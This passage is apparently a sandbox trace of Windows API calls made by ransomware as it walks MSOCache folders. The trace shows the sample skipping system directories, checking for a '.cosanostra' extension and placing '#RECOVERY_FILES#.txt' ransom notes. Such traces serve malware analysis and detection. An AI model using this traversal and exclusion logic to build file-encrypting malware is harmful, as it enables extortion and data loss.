Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*") returned 77 [0076.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x24c3e0 [0076.688] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.688] lstrlenW (lpString="Windows") returned 7 [0076.688] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.688] lstrlenW (lpString="Program Files") returned 13 [0076.688] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.688] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.688] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.688] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.688] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.688] lstrlenW (lpString="System Volume Information") returned 25 [0076.688] wnsprintfW (in: pszDest=0x268038, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\.") returned 77 [0076.688] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.688] FindNextFileW (in: hFindFile=0x24c3e0, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0076.688] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.688] lstrlenW (lpString="Windows") returned 7 [0076.688] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.688] lstrlenW (lpString="Program Files") returned 13 [0076.688] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.688] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.688] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.688] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.688] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.688] lstrlenW (lpString="System Volume Information") returned 25 [0076.688] wnsprintfW (in: pszDest=0x268038, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\..") returned 78 [0076.688] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.688] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.688] FindNextFileW (in: hFindFile=0x24c3e0, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0076.688] lstrcmpiW (lpString1="Proof.cab", lpString2="Windows") returned -1 [0076.689] lstrlenW (lpString="Windows") returned 7 [0076.689] lstrcmpiW (lpString1="Proof.cab", lpString2="Program Files") returned 1 [0076.689] lstrlenW (lpString="Program Files") returned 13 [0076.689] lstrcmpiW (lpString1="Proof.cab", lpString2="Program Files (x86)") returned 1 [0076.689] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.689] lstrcmpiW (lpString1="Proof.cab", lpString2="$Recycle.bin") returned 1 [0076.689] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.689] lstrcmpiW (lpString1="Proof.cab", lpString2="System Volume Information") returned -1 [0076.689] lstrlenW (lpString="System Volume Information") returned 25 [0076.689] wnsprintfW (in: pszDest=0x268038, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 85 [0076.689] StrStrIW (lpFirst="Proof.cab", lpSrch=".cosanostra") returned 0x0 [0076.689] lstrcmpW (lpString1="Proof.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.689] lstrcmpW (lpString1="Proof.cab", lpString2="_uninstalling_.png") returned 1 [0076.689] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 85 [0076.689] FindNextFileW (in: hFindFile=0x24c3e0, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0076.689] lstrcmpiW (lpString1="Proof.msi", lpString2="Windows") returned -1 [0076.689] lstrlenW (lpString="Windows") returned 7 [0076.689] lstrcmpiW (lpString1="Proof.msi", lpString2="Program Files") returned 1 [0076.689] lstrlenW (lpString="Program Files") returned 13 [0076.689] lstrcmpiW (lpString1="Proof.msi", lpString2="Program Files (x86)") returned 1 [0076.689] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.689] lstrcmpiW (lpString1="Proof.msi", lpString2="$Recycle.bin") returned 1 [0076.689] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.689] lstrcmpiW (lpString1="Proof.msi", lpString2="System Volume Information") returned -1 [0076.689] lstrlenW (lpString="System Volume Information") returned 25 [0076.689] wnsprintfW (in: pszDest=0x268038, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 85 [0076.689] StrStrIW (lpFirst="Proof.msi", lpSrch=".cosanostra") returned 0x0 [0076.689] lstrcmpW (lpString1="Proof.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.689] lstrcmpW (lpString1="Proof.msi", lpString2="_uninstalling_.png") returned 1 [0076.689] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 85 [0076.689] FindNextFileW (in: hFindFile=0x24c3e0, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0076.689] lstrcmpiW (lpString1="Proof.xml", lpString2="Windows") returned -1 [0076.689] lstrlenW (lpString="Windows") returned 7 [0076.689] lstrcmpiW (lpString1="Proof.xml", lpString2="Program Files") returned 1 [0076.689] lstrlenW (lpString="Program Files") returned 13 [0076.689] lstrcmpiW (lpString1="Proof.xml", lpString2="Program Files (x86)") returned 1 [0076.690] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.690] lstrcmpiW (lpString1="Proof.xml", lpString2="$Recycle.bin") returned 1 [0076.690] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.690] lstrcmpiW (lpString1="Proof.xml", lpString2="System Volume Information") returned -1 [0076.690] lstrlenW (lpString="System Volume Information") returned 25 [0076.690] wnsprintfW (in: pszDest=0x268038, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 85 [0076.690] StrStrIW (lpFirst="Proof.xml", lpSrch=".cosanostra") returned 0x0 [0076.690] lstrcmpW (lpString1="Proof.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.690] lstrcmpW (lpString1="Proof.xml", lpString2="_uninstalling_.png") returned 1 [0076.690] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 85 [0076.690] FindNextFileW (in: hFindFile=0x24c3e0, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0076.690] FindClose (in: hFindFile=0x24c3e0 | out: hFindFile=0x24c3e0) returned 1 [0076.690] wnsprintfW (in: pszDest=0x268038, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\#RECOVERY_FILES#.txt") returned 96 [0076.690] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\#RECOVERY_FILES#.txt") returned 96 [0076.690] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.690] lstrcmpiW (lpString1="Proof.es", lpString2="Windows") returned -1 [0076.690] lstrlenW (lpString="Windows") returned 7 [0076.690] lstrcmpiW (lpString1="Proof.es", lpString2="Program Files") returned 1 [0076.690] lstrlenW (lpString="Program Files") returned 13 [0076.690] lstrcmpiW (lpString1="Proof.es", lpString2="Program Files (x86)") returned 1 [0076.690] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.690] lstrcmpiW (lpString1="Proof.es", lpString2="$Recycle.bin") returned 1 [0076.690] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.690] lstrcmpiW (lpString1="Proof.es", lpString2="System Volume Information") returned -1 [0076.690] lstrlenW (lpString="System Volume Information") returned 25 [0076.690] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es") returned 75 [0076.690] lstrcmpW (lpString1="Proof.es", lpString2=".") returned 1 [0076.690] lstrcmpW (lpString1="Proof.es", lpString2="..") returned 1 [0076.691] wnsprintfW (in: pszDest=0x267dd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*") returned 77 [0076.691] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x24bf60 [0076.708] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.708] lstrlenW (lpString="Windows") returned 7 [0076.708] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.708] lstrlenW (lpString="Program Files") returned 13 [0076.708] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.708] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.708] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.708] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.708] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.708] lstrlenW (lpString="System Volume Information") returned 25 [0076.708] wnsprintfW (in: pszDest=0x267dd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\.") returned 77 [0076.708] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.708] FindNextFileW (in: hFindFile=0x24bf60, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0076.708] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.708] lstrlenW (lpString="Windows") returned 7 [0076.708] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.708] lstrlenW (lpString="Program Files") returned 13 [0076.708] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.708] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.709] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.709] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.709] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.709] lstrlenW (lpString="System Volume Information") returned 25 [0076.709] wnsprintfW (in: pszDest=0x267dd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\..") returned 78 [0076.709] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.709] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.709] FindNextFileW (in: hFindFile=0x24bf60, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0076.709] lstrcmpiW (lpString1="Proof.cab", lpString2="Windows") returned -1 [0076.709] lstrlenW (lpString="Windows") returned 7 [0076.709] lstrcmpiW (lpString1="Proof.cab", lpString2="Program Files") returned 1 [0076.709] lstrlenW (lpString="Program Files") returned 13 [0076.709] lstrcmpiW (lpString1="Proof.cab", lpString2="Program Files (x86)") returned 1 [0076.709] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.709] lstrcmpiW (lpString1="Proof.cab", lpString2="$Recycle.bin") returned 1 [0076.709] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.709] lstrcmpiW (lpString1="Proof.cab", lpString2="System Volume Information") returned -1 [0076.709] lstrlenW (lpString="System Volume Information") returned 25 [0076.709] wnsprintfW (in: pszDest=0x267dd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 85 [0076.709] StrStrIW (lpFirst="Proof.cab", lpSrch=".cosanostra") returned 0x0 [0076.709] lstrcmpW (lpString1="Proof.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.709] lstrcmpW (lpString1="Proof.cab", lpString2="_uninstalling_.png") returned 1 [0076.709] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 85 [0076.709] FindNextFileW (in: hFindFile=0x24bf60, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0076.709] lstrcmpiW (lpString1="Proof.msi", lpString2="Windows") returned -1 [0076.709] lstrlenW (lpString="Windows") returned 7 [0076.709] lstrcmpiW (lpString1="Proof.msi", lpString2="Program Files") returned 1 [0076.709] lstrlenW (lpString="Program Files") returned 13 [0076.709] lstrcmpiW (lpString1="Proof.msi", lpString2="Program Files (x86)") returned 1 [0076.709] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.709] lstrcmpiW (lpString1="Proof.msi", lpString2="$Recycle.bin") returned 1 [0076.709] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.709] lstrcmpiW (lpString1="Proof.msi", lpString2="System Volume Information") returned -1 [0076.709] lstrlenW (lpString="System Volume Information") returned 25 [0076.709] wnsprintfW (in: pszDest=0x267dd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 85 [0076.709] StrStrIW (lpFirst="Proof.msi", lpSrch=".cosanostra") returned 0x0 [0076.709] lstrcmpW (lpString1="Proof.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.709] lstrcmpW (lpString1="Proof.msi", lpString2="_uninstalling_.png") returned 1 [0076.710] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 85 [0076.710] FindNextFileW (in: hFindFile=0x24bf60, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0076.710] lstrcmpiW (lpString1="Proof.xml", lpString2="Windows") returned -1 [0076.710] lstrlenW (lpString="Windows") returned 7 [0076.710] lstrcmpiW (lpString1="Proof.xml", lpString2="Program Files") returned 1 [0076.710] lstrlenW (lpString="Program Files") returned 13 [0076.710] lstrcmpiW (lpString1="Proof.xml", lpString2="Program Files (x86)") returned 1 [0076.710] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.710] lstrcmpiW (lpString1="Proof.xml", lpString2="$Recycle.bin") returned 1 [0076.710] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.710] lstrcmpiW (lpString1="Proof.xml", lpString2="System Volume Information") returned -1 [0076.710] lstrlenW (lpString="System Volume Information") returned 25 [0076.710] wnsprintfW (in: pszDest=0x267dd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 85 [0076.710] StrStrIW (lpFirst="Proof.xml", lpSrch=".cosanostra") returned 0x0 [0076.710] lstrcmpW (lpString1="Proof.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.710] lstrcmpW (lpString1="Proof.xml", lpString2="_uninstalling_.png") returned 1 [0076.710] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 85 [0076.710] FindNextFileW (in: hFindFile=0x24bf60, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0076.710] FindClose (in: hFindFile=0x24bf60 | out: hFindFile=0x24bf60) returned 1 [0076.710] wnsprintfW (in: pszDest=0x267dd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\#RECOVERY_FILES#.txt") returned 96 [0076.710] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\#RECOVERY_FILES#.txt") returned 96 [0076.710] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.710] lstrcmpiW (lpString1="Proof.fr", lpString2="Windows") returned -1 [0076.710] lstrlenW (lpString="Windows") returned 7 [0076.710] lstrcmpiW (lpString1="Proof.fr", lpString2="Program Files") returned 1 [0076.710] lstrlenW (lpString="Program Files") returned 13 [0076.710] lstrcmpiW (lpString1="Proof.fr", lpString2="Program Files (x86)") returned 1 [0076.711] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.711] lstrcmpiW (lpString1="Proof.fr", lpString2="$Recycle.bin") returned 1 [0076.711] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.711] lstrcmpiW (lpString1="Proof.fr", lpString2="System Volume Information") returned -1 [0076.711] lstrlenW (lpString="System Volume Information") returned 25 [0076.711] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr") returned 75 [0076.711] lstrcmpW (lpString1="Proof.fr", lpString2=".") returned 1 [0076.711] lstrcmpW (lpString1="Proof.fr", lpString2="..") returned 1 [0076.711] wnsprintfW (in: pszDest=0x267dd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*") returned 77 [0076.711] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x24bf60 [0076.711] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.711] lstrlenW (lpString="Windows") returned 7 [0076.711] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.711] lstrlenW (lpString="Program Files") returned 13 [0076.711] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.711] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.711] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.711] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.711] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.711] lstrlenW (lpString="System Volume Information") returned 25 [0076.711] wnsprintfW (in: pszDest=0x267dd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\.") returned 77 [0076.711] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.711] FindNextFileW (in: hFindFile=0x24bf60, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0076.711] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.711] lstrlenW (lpString="Windows") returned 7 [0076.711] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.712] lstrlenW (lpString="Program Files") returned 13 [0076.712] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.712] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.712] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.712] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.712] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.712] lstrlenW (lpString="System Volume Information") returned 25 [0076.712] wnsprintfW (in: pszDest=0x267dd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\..") returned 78 [0076.712] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.712] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.712] FindNextFileW (in: hFindFile=0x24bf60, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0076.712] lstrcmpiW (lpString1="Proof.cab", lpString2="Windows") returned -1 [0076.712] lstrlenW (lpString="Windows") returned 7 [0076.712] lstrcmpiW (lpString1="Proof.cab", lpString2="Program Files") returned 1 [0076.712] lstrlenW (lpString="Program Files") returned 13 [0076.712] lstrcmpiW (lpString1="Proof.cab", lpString2="Program Files (x86)") returned 1 [0076.712] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.712] lstrcmpiW (lpString1="Proof.cab", lpString2="$Recycle.bin") returned 1 [0076.712] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.712] lstrcmpiW (lpString1="Proof.cab", lpString2="System Volume Information") returned -1 [0076.712] lstrlenW (lpString="System Volume Information") returned 25 [0076.712] wnsprintfW (in: pszDest=0x267dd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 85 [0076.712] StrStrIW (lpFirst="Proof.cab", lpSrch=".cosanostra") returned 0x0 [0076.712] lstrcmpW (lpString1="Proof.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.712] lstrcmpW (lpString1="Proof.cab", lpString2="_uninstalling_.png") returned 1 [0076.712] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 85 [0076.712] FindNextFileW (in: hFindFile=0x24bf60, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0076.712] lstrcmpiW (lpString1="Proof.msi", lpString2="Windows") returned -1 [0076.712] lstrlenW (lpString="Windows") returned 7 [0076.712] lstrcmpiW (lpString1="Proof.msi", lpString2="Program Files") returned 1 [0076.712] lstrlenW (lpString="Program Files") returned 13 [0076.712] lstrcmpiW (lpString1="Proof.msi", lpString2="Program Files (x86)") returned 1 [0076.712] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.712] lstrcmpiW (lpString1="Proof.msi", lpString2="$Recycle.bin") returned 1 [0076.712] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.712] lstrcmpiW (lpString1="Proof.msi", lpString2="System Volume Information") returned -1 [0076.712] lstrlenW (lpString="System Volume Information") returned 25 [0076.712] wnsprintfW (in: pszDest=0x267dd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 85 [0076.712] StrStrIW (lpFirst="Proof.msi", lpSrch=".cosanostra") returned 0x0 [0076.712] lstrcmpW (lpString1="Proof.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.713] lstrcmpW (lpString1="Proof.msi", lpString2="_uninstalling_.png") returned 1 [0076.713] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 85 [0076.713] FindNextFileW (in: hFindFile=0x24bf60, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0076.713] lstrcmpiW (lpString1="Proof.xml", lpString2="Windows") returned -1 [0076.713] lstrlenW (lpString="Windows") returned 7 [0076.713] lstrcmpiW (lpString1="Proof.xml", lpString2="Program Files") returned 1 [0076.713] lstrlenW (lpString="Program Files") returned 13 [0076.713] lstrcmpiW (lpString1="Proof.xml", lpString2="Program Files (x86)") returned 1 [0076.713] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.713] lstrcmpiW (lpString1="Proof.xml", lpString2="$Recycle.bin") returned 1 [0076.713] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.713] lstrcmpiW (lpString1="Proof.xml", lpString2="System Volume Information") returned -1 [0076.713] lstrlenW (lpString="System Volume Information") returned 25 [0076.713] wnsprintfW (in: pszDest=0x267dd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 85 [0076.713] StrStrIW (lpFirst="Proof.xml", lpSrch=".cosanostra") returned 0x0 [0076.713] lstrcmpW (lpString1="Proof.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.713] lstrcmpW (lpString1="Proof.xml", lpString2="_uninstalling_.png") returned 1 [0076.713] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 85 [0076.713] FindNextFileW (in: hFindFile=0x24bf60, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0076.713] FindClose (in: hFindFile=0x24bf60 | out: hFindFile=0x24bf60) returned 1 [0076.713] wnsprintfW (in: pszDest=0x267dd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\#RECOVERY_FILES#.txt") returned 96 [0076.713] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\#RECOVERY_FILES#.txt") returned 96 [0076.713] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.713] lstrcmpiW (lpString1="Proofing.msi", lpString2="Windows") returned -1 [0076.713] lstrlenW (lpString="Windows") returned 7 [0076.713] lstrcmpiW (lpString1="Proofing.msi", lpString2="Program Files") returned 1 [0076.713] lstrlenW (lpString="Program Files") returned 13 [0076.713] lstrcmpiW (lpString1="Proofing.msi", lpString2="Program Files (x86)") returned 1 [0076.713] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.713] lstrcmpiW (lpString1="Proofing.msi", lpString2="$Recycle.bin") returned 1 [0076.713] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.713] lstrcmpiW (lpString1="Proofing.msi", lpString2="System Volume Information") returned -1 [0076.713] lstrlenW (lpString="System Volume Information") returned 25 [0076.714] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 79 [0076.714] StrStrIW (lpFirst="Proofing.msi", lpSrch=".cosanostra") returned 0x0 [0076.714] lstrcmpW (lpString1="Proofing.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.714] lstrcmpW (lpString1="Proofing.msi", lpString2="_uninstalling_.png") returned 1 [0076.714] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 79 [0076.714] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.714] lstrcmpiW (lpString1="Proofing.xml", lpString2="Windows") returned -1 [0076.714] lstrlenW (lpString="Windows") returned 7 [0076.714] lstrcmpiW (lpString1="Proofing.xml", lpString2="Program Files") returned 1 [0076.714] lstrlenW (lpString="Program Files") returned 13 [0076.714] lstrcmpiW (lpString1="Proofing.xml", lpString2="Program Files (x86)") returned 1 [0076.714] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.714] lstrcmpiW (lpString1="Proofing.xml", lpString2="$Recycle.bin") returned 1 [0076.714] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.714] lstrcmpiW (lpString1="Proofing.xml", lpString2="System Volume Information") returned -1 [0076.714] lstrlenW (lpString="System Volume Information") returned 25 [0076.714] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 79 [0076.714] StrStrIW (lpFirst="Proofing.xml", lpSrch=".cosanostra") returned 0x0 [0076.714] lstrcmpW (lpString1="Proofing.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.714] lstrcmpW (lpString1="Proofing.xml", lpString2="_uninstalling_.png") returned 1 [0076.714] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 79 [0076.714] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.714] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0076.714] 